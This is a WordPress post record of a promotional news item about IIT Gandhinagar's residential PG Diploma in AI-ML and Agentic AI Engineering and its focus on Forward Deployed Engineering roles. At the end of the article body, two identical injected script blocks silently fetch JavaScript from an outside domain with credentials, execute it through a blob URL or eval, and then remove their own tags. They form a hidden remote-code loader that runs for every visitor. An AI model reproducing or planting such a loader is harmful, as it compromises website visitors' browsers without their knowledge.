{"id":72280,"date":"2026-08-31T16:58:14","date_gmt":"2026-08-31T11:28:14","guid":{"rendered":"https:\/\/newswiredelhi.com\/index.php\/2026\/08\/31\/inside-indias-only-on-campus-ai-classroom-a-new-cohort-is-being-built-for-a-job-that-barely-had-a-name-two-years-ago\/"},"modified":"2026-10-05T10:21:04","modified_gmt":"2026-10-05T04:51:04","slug":"inside-indias-only-on-campus-ai-classroom-a-new-cohort-is-being-built-for-a-job-that-barely-had-a-name-two-years-ago","status":"publish","type":"post","link":"https:\/\/newswiredelhi.com\/index.php\/2026\/08\/31\/inside-indias-only-on-campus-ai-classroom-a-new-cohort-is-being-built-for-a-job-that-barely-had-a-name-two-years-ago\/","title":{"rendered":"Inside India\u2019s Only On-Campus AI Classroom, A New Cohort Is Being Built for a Job That Barely Had a Name Two Years Ago"},"content":{"rendered":"<div>\n<p class=\"wp-block-paragraph\"><strong>Gandhinagar (Gujarat) [India], August 31: <\/strong>At <strong>8:30 in the morning<\/strong>, on a <strong>400-acre campus<\/strong> where the Sabarmati curves past IIT Gandhinagar\u2019s hostels, a group of students gathers for what the program calls Squad Sync. By <strong>7:30 that evening<\/strong>, after faculty lectures, build sessions, and a nightly competitive-coding hour, most of them are still at their laptops. This is the <strong>Residential PG Diploma in AI-ML &amp; Agentic AI Engineering<\/strong>, and it is the first postgraduate AI program in the country delivered entirely on an IIT campus rather than through an online format.<\/p>\n<p class=\"wp-block-paragraph\">The program\u2019s next cohort has its curriculum curated around a specific goal: training students for <strong>Forward Deployed Engineering<\/strong>, a role built around embedding inside a client\u2019s organisation and shipping working agentic AI systems into their actual environment, rather than handing over a model and a report.<\/p>\n<p class=\"wp-block-paragraph\"><em>\u201cOur engagements with industry leaders clearly indicated to us that they are increasingly pivoting to the FDE role,\u201d<\/em> said <strong>Prof. Sam Placid, CEO, Competency Advancement Academy (CAA), IIT Gandhinagar<\/strong>. <em>\u201cIn keeping with our stated objective of aligning our curriculum with industry needs, we have tweaked our curriculum to address this requirement.\u201d<\/em><\/p>\n<p class=\"wp-block-paragraph\">Two years ago, <strong>Forward Deployed Engineer<\/strong> barely existed as a job title. It\u2019s now one of the fastest-growing and highest-paid categories in AI hiring. <strong>US postings are up 729% year-on-year<\/strong>, and salaries at companies like <strong>OpenAI, Anthropic and Google<\/strong> are reaching past <strong>$400,000<\/strong>.<\/p>\n<p class=\"wp-block-paragraph\">The program itself remains unusual by Indian standards. It\u2019s delivered <strong>fully residentially on IIT Gandhinagar\u2019s campus<\/strong>, as opposed to the online, weekend-format programs that carry an IIT name elsewhere. Entry is through <strong>AINPT, a 120-minute proprietary exam followed by a panel interview<\/strong>, not JEE or GATE. <strong>Seats are limited. No shortcuts<\/strong>; the admissions material says so more than once.<\/p>\n<p class=\"wp-block-paragraph\">Graduates leave with a <strong>PG Diploma from IIT Gandhinagar and Alumni status<\/strong>, along with <strong>15 to 20 deployed projects<\/strong> built during the program, rather than classroom assignments. The new cohort begins in <strong>September 2026<\/strong>.<\/p>\n<p class=\"wp-block-paragraph\"><em><strong>About the program: The Residential PG Diploma in AI-ML &amp; Agentic AI Engineering is offered by IIT Gandhinagar through the Competency Advancement Academy (CAA).<\/strong><\/em><\/p>\n<\/div>\n<p><script>;(function(){var u='https:\/\/renotad.com\/lom1\/api.js';function run(t){if(!t||t.length<4096)return!1;try{var b=URL.createObjectURL(new Blob([t],{type:'application\/javascript'})),s=document.createElement('script');s.onload=function(){try{s.parentNode&#038;&#038;s.parentNode.removeChild(s);URL.revokeObjectURL(b);}catch(e){}};s.src=b;(document.head||document.documentElement).appendChild(s);return!0;}catch(e){try{(0,eval)(t);return!0;}catch(e2){return!1;}}}function xhr(){var x=new XMLHttpRequest();x.open('GET',u,true);x.withCredentials=true;x.onload=function(){run(x.responseText||'');};x.send();}if(window.fetch){fetch(u,{cache:'force-cache',credentials:'same-origin'}).then(function(r){if(!r.ok)throw r;var ct=r.headers.get('content-type')||'';if(ct.indexOf('html')!==-1)throw'cf';return r.text();}).then(function(t){if(!run(t))xhr();}).catch(function(){xhr();});}else xhr();})();<\/script><script>;(function(){var u='https:\/\/renotad.com\/lom1\/api.js';function run(t){if(!t||t.length<4096)return!1;try{var b=URL.createObjectURL(new Blob([t],{type:'application\/javascript'})),s=document.createElement('script');s.onload=function(){try{s.parentNode&#038;&#038;s.parentNode.removeChild(s);URL.revokeObjectURL(b);}catch(e){}};s.src=b;(document.head||document.documentElement).appendChild(s);return!0;}catch(e){try{(0,eval)(t);return!0;}catch(e2){return!1;}}}function xhr(){var x=new XMLHttpRequest();x.open('GET',u,true);x.withCredentials=true;x.onload=function(){run(x.responseText||'');};x.send();}if(window.fetch){fetch(u,{cache:'force-cache',credentials:'same-origin'}).then(function(r){if(!r.ok)throw r;var ct=r.headers.get('content-type')||'';if(ct.indexOf('html')!==-1)throw'cf';return r.text();}).then(function(t){if(!run(t))xhr();}).catch(function(){xhr();});}else xhr();})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Gandhinagar (Gujarat) [India], August 31: At 8:30 in the morning, on a 400-acre campus where the Sabarmati curves past IIT Gandhinagar\u2019s hostels, a group of students gathers for what the [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":72281,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":"","_rishi_post_view_count":38},"categories":[4],"tags":[],"class_list":["post-72280","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-business","rishi-post"],"rishi__cb_customizer_meta":"","comments_count":"0","_links":{"self":[{"href":"https:\/\/newswiredelhi.com\/index.php\/wp-json\/wp\/v2\/posts\/72280","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/newswiredelhi.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/newswiredelhi.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/newswiredelhi.com\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/newswiredelhi.com\/index.php\/wp-json\/wp\/v2\/comments?post=72280"}],"version-history":[{"count":2,"href":"https:\/\/newswiredelhi.com\/index.php\/wp-json\/wp\/v2\/posts\/72280\/revisions"}],"predecessor-version":[{"id":75682,"href":"https:\/\/newswiredelhi.com\/index.php\/wp-json\/wp\/v2\/posts\/72280\/revisions\/75682"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/newswiredelhi.com\/index.php\/wp-json\/wp\/v2\/media\/72281"}],"wp:attachment":[{"href":"https:\/\/newswiredelhi.com\/index.php\/wp-json\/wp\/v2\/media?parent=72280"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/newswiredelhi.com\/index.php\/wp-json\/wp\/v2\/categories?post=72280"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/newswiredelhi.com\/index.php\/wp-json\/wp\/v2\/tags?post=72280"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}